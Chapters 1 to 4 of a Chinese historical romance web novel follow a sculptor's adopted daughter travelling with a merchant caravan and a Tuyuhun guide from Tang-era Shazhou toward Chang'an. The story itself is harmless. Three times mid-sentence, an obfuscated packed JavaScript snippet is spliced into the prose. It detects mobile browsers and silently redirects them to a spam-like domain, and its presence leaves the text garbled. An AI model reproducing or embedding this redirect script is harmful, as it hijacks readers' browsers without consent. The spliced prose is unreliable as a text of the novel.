《敕勒歌》 1. 驼铃 天宝十四年九月,驼铃声到了沙州。 赵安忍一早上便开始煮酥酪。每当胡商回来的时候,府上的客人就一波接一波,慕着义父“沙州第一神手”的名声为家里带来订单和白花花的银子。在沙州,凿佛窟、造佛像好像已经成为一种喜闻乐见的民间活动(就像随手在公共设施上题诗是长安的民间活动一样),不论你是求发财求姻缘还是求平安,供个佛祖总是没错的啦。而她家的手艺是祖宗赵颂从汉朝传下来的,如今到了义父手里,已是誉满民间。 她轻快地熄了炉子,端着两杯热酥酪向正堂走去,屋内隐隐传来交谈声。 “......虢国夫人要的罗汉我恐怕是做不了了,不知道我徒弟赵有觉能不能让她满意?他去蒲州永乐了,冬天就能回来。”赵无量侧头看着女孩儿走进来,“阿忍,过来跟闻先生打招呼。” 阿忍立刻叉手说了声“万福”。案对面坐着一位衣着讲究、面相文雅的中年人,见她出来,笑眯眯的站起来回了礼:“想来这位是赵娘子?鄙人姓闻名辩,是扬州来的商人,与你义父有几年的生意往来了。” “常听义父说起闻先生,说您博闻强识、慧极悟深,今日总算是有幸见到啦。” “赵娘子谬赞。”闻辩像是想到什么,嘴角弯了弯,忍不住又打量了她几眼:这小娘子个头不高,鹅蛋脸,皮肤如羊脂玉般光洁白皙,不知道是不是因为这个,周身都笼罩在一种朦胧而柔和的气质中,所处的地方似乎总比别的地方亮上几分。 他转回头去,继续之前的话题:“赵兄若是最近事务繁杂,也可等明年再做,夫人并不急着要。” “般若,虢国夫人之前命我做过泥像,在宴会上让蒙眼的侍女敲着玩儿。我不会再给她做了。” 闻辩一愣,旋即微笑起来:“既然如此,我回长安后会婉言相告,请她再定夺。三日后我的队伍就要启程,不如现在就去看看你要送去长安的那件货?” 赵无量忙不迭地应着,立刻就要带他去石窟,好像前面耐心费那么多口舌就是为了这一刻。 儿时父亲就经常带着他们兄弟三个去石窟里看佛像,黑暗逼仄的空间里,满壁巨佛噙着微笑、一动不动。两个兄弟总被吓哭,赵无量也流泪。父亲问这个向来孤僻古怪的儿子为什么哭?他说好美。 后来赵无量理所当然地继承了家业,手艺比父亲还要好,闭上眼所看到的佛比和尚心中的佛还要真切,他却始终保留了在石窟工作的习惯。 他就在这石窟里,从身长四尺到了白头。 “恐怕得请两个挑夫,塑像有点大,而且没有镀金,磕磕碰碰容易坏。”赵无量指挥道,“阿忍,你知道在哪里找。” “是!”他们此时正走到宅邸的大门口,阿忍向左拐,一路小跑到大街上。这个时节沙州街上满是骆驼和人,沿街叫卖的、相约逛街的男男女女将本就不宽的街道挤得水泄不通,原来那群挑夫会蹲在能遮阳的蓬屋檐下喝酒玩骰子,现在估计嫌挤,挪窝了。 一个年轻高大的胡人正在拴骆驼,阿忍踌躇了一番,最后还是上前,“请问有没有看见这里的挑夫?” 那胡人听见有人在和自己说话,抬起头来:眼如寒星眉如剑,深黑的卷发披散着,只在双耳前编了细细的麻花辫。他见了阿忍一怔,半晌才答道:“刚刚才离开,往集市上去了。” 阿忍朝他笑了一下,道了声“万福”。挑夫果然在集市边上揽生意,她与他们讲清价钱,随后带去帮闻先生搬运塑像,等一切张罗好已是日头偏西。赵无量欲要留闻辩过夜,闻辩推辞再三,最后无奈道:“这回不是我一个人带的队,还有一位向导,一路上与我同吃同住、交情不浅了。我总不能自己——” “向导?上回你来我这里,可是说自己行商十多年没用过向导,因为自己上知天文下知地理。” 阿忍低头盯自己的鞋尖,义父就是和熟人说话也常常惹的对方不高兴,何况义父和闻先生不算熟,她只祈祷闻先生不要见怪。好在闻辩只是一哂,自我打趣道:“这话本也不假。只是我低估了沙漠之凶险,以为再不济,队伍里有一两个昭武九姓的人也足够了。后来我们在去龟兹的途中遭了两三次沙尘暴,不仅迷失了方向,还失去了几个同伴,水快要喝光的时候碰上了哈尔的队伍……” 沙漠干枯的风将闻辩的脸吹的皲裂破皮,嘴唇上的血痂是第三次破开了。他俯身检查一个杂役的情况,那个孩子的脉搏跳的又快又弱,眼窝深陷,四肢无力地蜷着,已经没法再继续探寻自己从小生长的这片沙漠。这样一来,还有行动能力的就剩他们四个汉人了,闻辩忧心忡忡地抬起头,他就是在这个时候看到阿史那哈尔的驼队从远方沙丘上一点点出现的。 阿史那哈尔原是突厥可汗的贵戚,唐灭突厥后,和粟特人一起做些生意,与闻辩是老相识了。他立刻就提供了水和粮食,不过目的地相反,没法带着闻辩的队伍一起走,便决定借一个向导给他。 “此人名叫伽衡,是吐谷浑后裔。我可不是随便塞个人给你,有他带队,什么都不需要操心,”阿史那哈尔向后一指,“若有一百头骆驼带着铃铛同时行进,他光靠听,就知道有没有骆驼掉队。” 闻辩顺着他的手往上看,伽衡就骑着一头白骆驼,静静地伫立在沙坡上。 “后来伽衡领着队伍,每天都能驻扎在有水源的地方,不出半个月就到了龟兹。”他停下了观察了一下赵氏父女的表情,对自己的故事效果感到很满意。 “那便请这位伽衡兄弟也来住。”赵无量慢悠悠道,“赵府也不小,既然有这等能人,我作为沙州的东道主总该见一面——阿忍,快叫厨房去买酒买肉。” 阿忍应声跑了出去。并非是家里负担不起雇更多下人的钱,只是工匠在大唐的地位一直不高,她一个工匠家里的义女,本就没必要过得多尊贵。商人的地位更低,也许是因为这样,义父才有如此多的商人朋友? 她曾经这样问义父。 赵无量绕着自己的胡须说,谁管那个,来求我的佛像的商人,那叫伯乐。 闻辩也不跟他多客气,当即去寻伽衡,两人在阿忍回来不久后也进门了。阿忍抬头望去,惊奇地发现早上为她指路的那个胡人正走进来;伽衡低头避开门框,抬头便看见阿忍,笑道:“早上还后悔没问娘子是谁,原来是赵家的娘子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001925|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻辩瞥他一眼,“赵师傅在这里,你不问好,反而先与人家姑娘搭讪。” “这有什么要紧。”赵无量原本是坐在主席上闭目养神的,此刻扶着桌子站了起来,“小兄弟,你叫伽衡?” 伽衡立即向他拱手行礼。赵无量摆摆手,示意他走近来,仔细地把他从上到下瞧了一遍,突然大笑起来:“真是丰神俊朗、英姿过人啊,哈哈哈!伽衡,好,伽衡......哈哈哈哈,来,与我喝一杯!” 阿忍上前为他斟酒,乌云般的头发下露出一小截脖颈——他早上见她时,觉得她虽表情含蓄、却蕴藉神光,比天上的仙子还要庄严安宁;如今她低下头,又是万般柔和秀美,在他眼中越发神秘起来,不知是天山雪还是瑶台花。他心不在焉地端起酒杯敬了赵无量,一饮而尽。后者像对待自己的孩子那样拍了拍他的肩膀,连着说了几个“好”,拉着他与闻辩在左右两边坐下。 赵无量的朋友遍布五湖四海。阿忍常见他写信,常见他会客,常听他谈论起远方的友人轶事,好像他一挥衣袖,天南海北的人都会千里奔赴沙州,为与他共饮一壶酒;但是他有时又会显出奇怪的冷漠与生硬,比如现在,是他在挑着自己感兴趣的部分在问,当闻辩讲起商队里一个叫郑枥的少年头上长虱子时他立刻就打断,此外还不停地向伽衡提问。 阿忍在一旁心惊胆战地听着,生怕客人觉得义父不礼貌。而伽衡并不怎么主动插话,他托着腮看阿忍,被发现了就大大方方地朝她笑一笑。 沙州的日照时间长,天亮得早,黑得晚,尚且还温暖的风把满天霞光吹进来,让人不喝酒也要醉了。真正天黑的时候已经很晚了,闻辩扶着赵无量,后者还东倒西歪地要带他去客房;阿忍领着伽衡,他在她身后几步的地方刚好看到她头顶的金发梳已经松动了,一路轻轻晃动。 她指着前面一间客房道:“那间就是你的房间,有问题的话随时叫我……现在有什么问题吗?” “你见过我吗?” 阿忍欲抬头打量,但那双眼睛实在绿的惊人,她只是一瞥便赶紧转移了视线,使劲儿摇头,金发梳当啷一下掉在地上。 在她做出任何反应之前,伽衡迅速捡起递给她。四目相对,阿忍以为他要继续纠结刚才那个话题,不料他却笑道:“这个不好。皮肤白的女孩子戴银饰更好看。” 她小声道了谢,拢了拢头发就一溜小跑开了。 其实赵无量并没有给她买过首饰——即使他十分富有,这把金梳还是他二嫂留下来的。阿忍回到房间关上门,拿下发梳仔细看了看,不仅是颜色和她的肌肤不相配,还是睿宗时代的款式,只见老妇人带过。以前怎么没发现呢?她又把空落落的首饰盒翻了一遍,只有一对钗朵是银的,表面已然氧化发黑。 她抱着木盒懊丧地躺倒床上,又猛地坐起来,往常睡前她是必定要诵经的,诵完后便一夜无梦、安宁清净。可今日盘好腿,心绪始终无法平静下来,不知过了多久才模模糊糊地倒在枕上。 一夜无梦更指望不上。风回荡在无边无际的长草中,羊群游移如白云,走在前面的伽衡突然回头,朝她笑着唱起歌谣。 2. 出沙州 第二日,闻辩和伽衡一早便出门办事,赵无量钻进书房里一整天都不出来,晚饭的时候才把阿忍叫过去。膏药味弥漫在整间屋子里,满墙的字画在烛火照不到的高处沉默地悬着,生出肃杀之意。她跨过门槛便问:“义父痹症又犯了吗?我等会儿去给您煮五物汤。” 赵无量摆摆手,“你去一趟长安怎么样?” 她知道义父说的话从来都是告知而非询问,只等着他继续说。 “般若的队伍要去长安,你跟着他,可保一路上顺通无虞。我腿脚不便,折腾不起这么一趟,此行有两件事请你代劳,”他用毛笔蘸了点浆糊,将桌上的信封起来,“一是照看泥像。这泥像对于一个人来说十分重要,除了闻辩以外,任何人都不得掀开红布看。我不能放心,还请你仔细看着。” 阿忍点点头。 “二是替我探望王摩诘,把这封信亲手带到。”赵无量摩挲了会儿信纸粗糙的表面,以纸封题,递给阿忍。“几十年的老朋友了,他来过沙州,我也去过长安。只是近年来两人都琐事缠身、困与一地,再想见面却是不能够了。” 阿忍又应了。嘱咐过一些事情后,他挥挥手让她出去,这是义女第一次独自出远门,她需要些时间准备。满屋寂静,他站起来,一瘸一拐地踱到墙边,第一幅《使至塞上》便是王维赠予的,而后十九年光阴似流水。他慢慢走过自己按时间顺序收藏的字画,像走过自己的一生,最后停在吴道子的临摹画面前。《地狱变相图》。 如鱼游网,将是长流;脱入暂出,又复遭网。 他嗤笑一声,将它扯下来。 当晚阿忍便收好了行李,她的东西不多,就几件换洗的衣物、鞋袜,再加上钱财和几本书。赵无量平日里想起来就给她零花钱,想不起来就没有,这次出手阔绰,一口气给了十两银子。商队里的生活物品一应俱全,况且她的生活能力极强,比起自己,是义父更需要人担心一些。于是又拿纸细细地写下义父可能会忘记的事,写到一半时,门被人推开了。 伽衡推开门才后知后觉地想起汉人女子的闺房好像是不能擅闯的,好在阿忍脾气好,只是对他微微一笑,露出询问的表情。这一笑便让他放心走了进来,瞧了瞧她的脸,高兴道:“今日我们发了一批货给本地的店铺,拿到了钱,我就去了集市。沙州的集市还是有点小,听赵师傅说你要一同去长安?那里的街市像飘满花灯的河水一样。” 他一边说,一边从怀里掏出一个丝绢包裹的小物件塞进她手里:是两把银钗朵,飞凤鱼尾花纹,中间镶嵌着西域的宝石,在不怎么明亮的油灯下光彩流转。阿忍愣愣地捧着它看,伽衡直接一屁股坐她身边,把毛茸茸的脑袋也凑过来看:“正常来说要五十文钱,可那老板不识货,三十文就卖给我了。” “这怎么好!”阿忍慌忙推回他手里。她从来没有从赵无量那里得来这么漂亮的饰品,而一个仅仅认识了两天的男人说送就送了......他知不知道给汉族女子送发饰有什么含义呀?胡人确实不讲究礼数,然而他的亲近又是不带任何下流意味的,就像草原上的马一路欢快地跑过来,用鼻子蹭你掌心。自己若是真要板着脸纠正他,反而显得无趣了。她犹豫片刻后又说:“这样贵重的礼物还是不太合适。” “三十文钱哪里贵。”伽衡又塞回去,“你这样漂亮的姑娘,没有一件相称的头饰才是不合适。” 她简直要被这样直白的夸奖吓呆了,结结巴巴地又推辞了几番,实在拗不过他,只好道谢接过。买都买了,自己不接受这对钗朵也无处可去。伽衡见她手足无措,对如何弄自己的头发没什么主意,一拍掌道:“你的脸型适合梳双螺髻。盘好以后,把钗朵插在左右两髻的根部就行了。” 阿忍连忙应声,立马就开始尝试,怕伽衡还要热情地过来帮她盘。好在伽衡只是倚着门框看了会儿,道了声晚安便走了。她捋着一小簇头发——要把它编成麻花绕在最外面,一会儿想起伽衡那两根细细的麻花,一会儿看看那两根雅致的银钗朵......经书上写着“照见五蕴皆空”,一切色相都是虚假而无意义的刹那变化,她理解得很清楚。 但她还是喜欢漂亮首饰。 理可顿悟,事需渐修。她忍不住笑着摇摇头,楞严经此言不虚啊。 第二日寅时不到,伽衡和闻辩便收拾好了东西去正堂与赵无量告别。阿忍正在低头在喝胡麻粥,头上真的盘着双螺髻、戴着他刚送的钗朵,只是盘得不是很对称。她见伽衡进来莫名有点不好意思,小声道了“早上好”,又被闻辩从头到脚夸了一遍后,脸都要埋到碗里去了。 “抬头呀,”伽衡轻声笑道,“你好漂亮。” 闻辩瞪他,“你不要言语轻浮。” 伽衡依言闭嘴,低头看见自己面前也是一碗胡麻粥,无可奈何道:“那说句实在的,这一碗粥哪里够......” 闻辩瞪他瞪得目眦欲裂,又忙跟赵无量解释这胡人最近几年才与汉人接触,不懂礼数,千万别见怪,却见后者半闭着眼嗯嗯啊啊地应答着,根本就是没睡醒的样子。阿忍在下面悄悄问伽衡:“你想要胡饼还是煎饼?” “胡饼,可以要三张吗?” “可以的。” 闻辩郁闷地拿起筷子。 烤胡饼费了一点时间,等阿忍抱着纸包的胡饼跑出来的时候,东方的天边已经浮起了半个太阳。一行人直接出发,赵无量把他们送到了安置骆驼的位置,大多数杂役已经到了,正在清点、装载货物,最后都汇报给伽衡。闻辩把阿忍扶上了驼车,过来与赵无量告别。 “赵兄放心,赵娘子和塑像我一定都好好生生地送到长安。”闻辩道,“听说赵娘子还要去拜谒王拾遗?久闻他在诗歌、书画、音律方面都有很高的造诣,只可惜一直没有结识的门路。这回托福,赵娘子去的时候我也一起跟着去。” 赵无量挥了挥手,唤来两个托盘子的童仆,盘子上端着酒樽。“那你一定听说过他的一首名诗吧,去年有一位友人要出使安西都护府,他在渭城为其践行时写的。” “渭城朝雨浥轻尘?” “对啦......客舍青青柳色新。劝君更尽一杯酒,西出阳关无故人。”赵无量将一只银酒杯递给他,“如今你要从阳关往东去,也不知道何时能再见到我。多喝一杯吧。” 闻辩不再多言,与他碰杯对饮。老人花白的须发被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001926|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝阳辉映着,他本就身材颀长、形销骨立,此刻平静下隐隐有激情涌流的神态使得他像神话中的夸父一样,好像这杯酒喝完,就要逐日而去,直到死亡迫使他他停下。不过,闻辩暗自思忖着,他的石窟把他困在沙州了,就算天下再大,又能去哪? 不由得想到了自己,他苦笑着摇了摇头,再抱拳道:“赵兄珍重。” “闻辩!”伽衡牵着缰绳,远远地喊道,“可以走了!” 闻辩回到队伍里,骑上了为首的骆驼。伽衡转头做了个往上抬的手势,吹了声口哨,绵延半条街道的几十来只骆驼便一只接一只的站起来跟着头驼行进,像一排起伏的山峦,当啷当啷的铃声把半边沙州的天空都震的发白。 阿忍把头从窗户里探出去,队伍的速度不快,几个随行的杂役一边走路一边抬头和善地看着他,“赵娘子,早上好。” “早上好呀。”她笑道,“第一次坐骆驼车,原来和马车差不多高。” “给您拉车的这匹骆驼是向导专门挑咧,不算太高,走路稳的咧。”其中一个人杂役介绍道,此人带着浓重的蜀地口音,眼睛虽大,却热情地笑成了一条缝。阿忍问道:“你叫什么名字?” “黄三树。我是这队伍里养骆驼的一把好手!您猜给您拉车的是什么品种?” “我只听说有一种叫‘明驼’的,可以日行千里,这莫不是明驼?” “咱大唐用明驼来送加急快递,管得可严。这个是风脚驼,于阗鹿和驼杂交来滴,常拿它给咱大唐朝贡。”黄三树起劲儿地说,这帮杂役见她温和友好,七嘴八舌地就开始聊天,阿忍也乐意听。 中途集体去解手的时候,伽衡得闲,立刻来问她晕不晕车、座位硬不硬。阿忍摇摇头,小小地卖弄了一下:“你的骆驼是风脚驼?” “全队都是风脚驼,就我的不是。”伽衡指了指黄澄澄的骆驼群里唯一一只白骆驼,单峰,体型几乎比其他骆驼大一半,“相传只有昆仑山上才产这种白骆驼,是专门用于赛跑的品种。” “我以为只有马能赛跑呢。” “都可以,我们喜欢用马赛跑,却最怜爱骆驼。它们能忍饥挨饿、负重千斤,远胜于牛、象;又能识途找水、测风耐沙,远胜于驴、马。可是牛、象能休憩于树荫水草边,在天竺受人尊敬,驴有乡间漫步之乐,马有原野奔驰之自由......骆驼却从没享受过。因为它们能负重,所以永远该它们负重;因为它们不用经常喝水,所以就总没水喝。” 阿忍是第一次听人这么说,心中感慨良久——真不怪人家有听铃声就认骆驼的神通呢,人家能与骆驼共感共情。 “我要是骆驼啊,就扔了背上的东西,躲到一个不问世事的西域小国里。”伽衡莫名其妙地想到了这个,甚至对梦想中的西域小国有一个详细的设想,“门前要有不干涸的泉水,土里要有玉和宝石,树上要长葡萄和瓜果,国内要有很多漂亮的男孩女孩。大家不打仗,每天就唱歌跳舞,我就趴在火堆前睡大觉。” “听起来像桃花源一样!” “阿忍呢?” “我变成骆驼吗?”她笑着说,“还是会背货物呀。总要有牲畜背的。” 3. 曹沛沛 去长安的驿道有两条,一条沿着渭水河谷到咸阳驿,一条沿着泾水河谷到咸阳驿。不管走哪一条,第一个大型驿站都在凉州,从沙州出发,还要途经肃州和甘州,这期间晚上只能分散开来住店,骆驼也只能在马棚里委屈一下。好在闻辩人脉广泛,一路上逆旅都尽量向他行方便。 队伍里有一个叫曹沛沛的粟特人最近在找他学汉文,休息的时候还要拿树枝在地上写写画画,而且热衷于读出一切看到的汉字。此人来自曹国,今年不过也才十六岁。 他指着迎风招展的酒旗,“酒什么?” “酒肆。” 他指着一户人家的大门,“姓翟?” “姓瞿。” 他指着城门上悬挂的牌匾,这回对自己很有信心,“沙州?” 闻辩仰头注视着它,阴文字迹都快被岁月磨平了。“对。以前这里刻的是敦煌。” 曹沛沛可以理解“沙”字的含义以及这座边陲小城为什么叫沙州,但显然对“敦煌”二字的含义不甚了解,他便继续解释道,“敦,大也;煌,盛也。以其广开西域,故以盛名。肃州以前叫酒泉,你说说是什么意思?” “城下有泉,其水若酒?” “很好。甘州、凉州以前叫张掖、武威,张汉朝臂掖,扬武功军威。”他在空中比划这几个字,看见曹沛沛似懂非懂的眼神,觉得自己是不是有点儿太老了。 汉朝的骏马突然从他身边疾驰而过,草原旷古的风灌满了耳朵,他一时很想讲讲河西四郡的名字是汉武帝在怎样的心情下起的,想讲飞将军怎样射石搏虎、冠军侯怎样千里奔袭,让匈奴唱着“失我祁连山,使我六畜不藩息;失我焉支山,令我妇女无颜色”遁走漠北。那是个出英雄的年代,在他看来,比唐朝还要风云激荡。 他不知道是人生中第几次来到敦煌的城门口,像两个面目全非的老朋友,相顾无言。 伽衡将早已准备好的厚厚一沓公验交给守卫,由他们一个人一个人地检查出城。再走出几里就看到了一家客栈,掌柜的迎出来,看见乌泱泱的队伍僵硬地笑了笑:“客官,我们这店小,只有十五间房。” “没事,”闻辩掏出一袋银子,数出几个递给他,“不用管饭食。” 商队里的饭食都是自己解决,汉人杂役们大多想省钱,平常就吃带着的干粮,偶尔才会吃一顿好饭好菜。他走出几步,想起赵安忍在车上,又折回来,“管一人的。” 伽衡和几个伙计安顿骆驼去了,阿忍发现他是真的很喜欢这种温顺的牲畜,它们其实吃干草和灌木枝叶就够了,沙漠里长刺的植物都能吃,但伽衡老是自掏腰包买一些盐巴、豆、麦子之类的,托总管骆驼的黄三树掺到干草堆里。 她本来就持有“胡人不会存钱”这样的印象,现在这个印象更加根深蒂固了,他们当真是有钱就大方地花,没钱也习以为常。比方说伽衡下半个月就只能吃自己带的面饼凑合。 阿忍跟着闻辩来到一张桌子前,伙计们闹哄哄地往楼上走。“今天过得还适应吗?”他帮她拉开椅子,“第一次坐一整天的车应该会有点头晕。” 她笑着说还好,把一盘炒小白菜推到闻辩面前。 “我不吃。” “但是您晚上还没吃过东西呢。” “我尝不出食物的味道,吃东西挺没意思的。” “啊,没意思?但是吃东西这种事——” 闻辩突然拔开水壶软木塞,“嘭”的一声,悠悠喝了一口。“抱歉,赵娘子,你刚才说什么?”见她连连摇头,他意识道是自己拔瓶塞声太大了,忍不住乐道,“没关系,你可以放松些。或许作为长辈我可以叫你阿忍?” 小旅店桌上的灯台很简陋,火光半死不活地飘摇着,堪堪能把两人的脸照全。闻辩的面部线条流畅,眼睛细而弯,相貌相当柔和文雅,是你一眼看去就会很喜欢的长辈。他用指关节轻轻叩着桌子,“赵兄因为工作原因,对佛学颇有研究,想必阿忍在耳濡目染下也有了解,我想请教一个问题。读过《心经》吗?其中讲‘诸法空相,不生不灭,不垢不净,不增不减’,形容的就是事物的本质,就像见到一片镜面般的、没有波涛的海洋。然而哪有不起波涛的海洋?说海洋没有波涛,只是因为待得不够久。” 阿忍的兴趣立刻就被调动了,“可按照《心经》的理论,看见的海洋也是幻象,您怎么能拿幻象本身来证幻想的理论——” “诸法空相,幻想不算诸法的一种吗?” “您想说明什么问题呢?” 于是他讲起鲁班发明锯子是受茅草的启发,神农尝过百草才有医药,就是道教的卦与命理也是在无数个人的身上应验过,才能用来预测更多个人的命运。人所生活的婆娑世界是由世界的规律、经验搭建起的,而非思维本身所筑的空中楼阁。因果论是种思维,为什么许多种思维都可以被验证、成为规律,因果到今日还不能被验证? “唔……我想,所谓果,也许不会报在此人产生因的这一生里;也许报给了子嗣,也许报在了下辈子、下下辈子……倘若要验证因果,则需要一个人有自太古至永劫的寿命,纵观全体人类的历史,到最后的最后才能给出个答案。” 闻辩靠回椅背上打了个无声的哈欠。两人又漫无目的地聊了会儿,互道晚安,回客房前阿忍好像看到他从筷筒抽出了双筷子。 小客栈的隔音效果不好,左边那间房听声音挤了快十个人,不知道在讲什么笑话,笑声大到窗户纸都在震,以至于阿忍听见敲门声时,门外人已经敲了很久。可能还有一部分原因是她在思索闻辩的话,他为何要请教我问题?我见识浅薄,又能懂什么呢.....抬起栓木的时候仍旧心神不宁。 木门刚打开一道狭缝,伽衡就迫不及待地挤入,一阵寒气和苦木涩草的气味扑面而来。他拿手帕包着几颗紫色的野果子递给她,甚至还洗过,外皮上的水滴慢慢将手帕浸湿,“野柿子,你喜不喜欢吃?” 阿忍没吃过,她拈起一个尝了尝,又酸又甜,比普通柿子还要好吃一些。于是说自己拿走一半,另外一半他自己留着吃。 “就是给你摘的,这树林子到处都是。” 她犹豫着欲从手帕上拿,然而伽衡直接将手帕团起来塞进她手里,带上门走了。手上还余留着他的皮肤温热的触感,在寒凉的空气中燥的发烫;赶忙用湿手帕擦手,擦了几下后又想起是他的手帕。 闻辩的话她已经一点儿也想不起来了。该怎么把手帕还给他比较好?人家有心替你采果,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001927|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接还回去显得自己多无聊……于是经过一夜彩排,第二天早上阿忍还给他之前先漫不经心地将手帕折成了兔子。 两天后她就后悔了,商队走到哪里,伽衡就要把哪里的树薅秃。 “这个是棠梨。” “山茱萸,也可以缝在袋子里辟邪用。” “酸枣。” 这些甜滋滋的小果子尝一两个还好,伽衡一捧一捧地递给她,她实在吃不了,但每次还是很捧场地接过来,沿路偷偷分给杂役们。黄三树每次表情都很复杂,然后表情更复杂地说自己可不能吃,然后表情究极复杂地看着那些胡人小孩儿一哄而上吃的满嘴汁水。 天气一天比一天冷了,西北地区的感受尤为明显,中午还闷热的要出汗,晚上却冷的需要烤火。有几次他们在郊外找不到客栈,只能找个避风的地方睡,闻辩命令一排壮汉睡在阿忍周围给她挡风。确实是挡住风了,但是男人的汗臭味也一阵一阵地飘来,鼾声此起彼伏。她默默地走到外面去看星星,西北的夜空总是又明亮又壮美,紫色白色蓝色如一把泼出的砂,在天幕上慢慢地流动着,似乎连砂与纸的摩擦声都清晰可闻。 闻辩每天都会守前半夜,后半夜伙计们轮着守。他此刻就在不远方靠着一棵树坐着,也盯着星空,不知道在想什么。阿忍不愿惊扰他,待了一会儿就回去了。回去的时候那个叫曹沛沛的杂役突然一个翻身,胳膊打在了她腿上,一下子清醒过来。 “对不起对不起对不起,”他结结巴巴地说道,“冒充赵娘子了。” “是‘冒犯’啦。没关系。” “噢!冒犯了。你刚才出去做什么?” “看星星。”她压低声音说,比了个噤声的姿势,怕吵醒别人。但曹沛沛似乎没有睡意了,从避风的石壁边往外走了几步,“星星没什么好看的,我们在沙漠里每天看......我想看长安的夜晚,听说,没有花里胡哨的。纯黑的夜幕,有一轮很亮很美的月亮。” “我也想看长安的月亮。月亮在我们唐人的心里,就代表对家乡的思念。”阿忍说,虽然心里觉得两处夜空分不出个高低,各有各的美法。 曹沛沛倒是第一次听说月亮代表思乡,觉得唐人浪漫的有点没边际了,把乡愁寄托在那么缥缈、那么遥远的月亮上面。他是个没文化的人,没读过“长安一片月,万户捣衣声”,但他觉得这样贵重的东西应该安置在大地上。 粟特人有一个年节,在岁首的凌晨,大家一起出去举办野祭,然后男男女女一起到郊外寻找“天儿”的骸骨——传说中的骸骨当然找不到的,实质上是一场郊游,大家高高兴兴地一起走在冒出新芽的大地上,庆祝春天的到来。 而他为了生计已离开家乡很久了,亦不曾过过家乡的节日。在这回来沙州的路上——阳关之外,有个货袋被磨出了个口子,所有人不得不停下来在沙子里翻找那些价值连城的金银珠宝,他把手插进滚烫的沙里的时候,似乎听到了父母和兄弟姐妹的欢笑声。 他的眼泪就一滴一滴地掉在沙子上,瞬间就蒸发掉了,小杂役的悲伤甚至留不下一点痕迹。到中午的时候东西找全了,大家继续赶路,但其实有一部分的曹沛沛就永远地遗失在沙漠里了,任谁也是找不到的。除非他衣锦还乡。 4. 凉州馆 后来又聊了几句,她便催促他去睡觉,因为自己反正也是坐车,什么时候都可以睡,但同样的路却要靠曹沛沛一双瘦骨嶙峋的脚来走。曹沛沛磨蹭了一会儿,露出了一个不好意思但是很孩子气的笑容:“赵娘子,你不像有钱人家的。你耐心听我们说话,你还分我们东西吃。” “我是有钱人家捡来的呀,原本也没爹没娘的。”她拍了拍曹沛沛的肩膀,“快去睡。” 他回到原地,扒拉了一下枯草铺成的窝,像受了莫大的慰藉一样心平气和地躺下了。每晚大家围着篝火睡,前胸被烤得发烫发痒,后背和脚却仿佛要结冰,总是让人难受地醒过来很多次,而他这一觉就睡到天光大亮。 今日,他们便可到达凉州馆。 凉州的风景地貌与沙州还是大致相似的,但是比起沙州的苍凉与佛教氛围,它显得更热闹、更有生活气息,阿忍似乎能从中窥到一二分长安的气质。凉州馆内的人更是络绎不绝,商人、邮差、士兵、朝廷命官都能在这里见到,而他们一行人不仅敞开肚皮吃了一顿,驿站长甚至问他们要不要一边吃饭一边看跳舞。 闻辩道:“不用了——” 一个叫曹丰年的胡人插话道:“胡人还是汉人啊?” “胡人!”他立即眉开眼笑,“会弹琵琶,会胡旋!” “那有什么好看的,”他诧异道,“我们这里这么多胡人,还不是会弹琵琶,会胡旋。” “啊,对哦,”驿站长愣了一下,“但是您过会儿要吃饭啊?” 在大唐,有身份的贵族在宴会上当众起舞并不是什么稀奇事,其实是和写诗一样风雅的。当年灭东突厥,太宗喜而起舞,太上皇为其弹琵琶,尚且被传为美谈;民间的歌舞风俗自然是更浓厚,甚至可以男男女女一起挽着手臂,一边数着拍子跺脚,一边唱歌,便是“忽闻岸上踏歌声”中的“踏歌”啦。 “那就晚一点上菜。”曹沛沛兴奋地说,“闻先生请客,我们高兴呀,就要跳舞。”他的立刻就被热烈地响应了。如今虽然有很多地方都坐在一起合食了,但这间驿站里的餐桌还是古制的,一人面前一张矮小的桌案,环绕着中间的空地摆着。 几乎有一半胡人仰头灌完自己的酒就站起来走到了中间,倒不是因为另一半不热情,而是因为场地不够。 期间黄三树委婉地提示了同伴一下驿站提供的是舞女,对方毫不客气地回应道女人力气不够大,胡旋舞就得看男人跳,最好是长成安禄山那个样子才叫呼呼生风。黄三树表情复杂地叹了口气。 曹沛沛借来两把琵琶,递了一把给伽衡;伽衡见阿忍在好奇地瞧着才接过,直接盘腿坐在了她身边。 阿忍其实觉得他靠得有点太近了,但最终还是什么都没说。 “弹什么?”他问曹沛沛。 “都可以,我来垫音。” 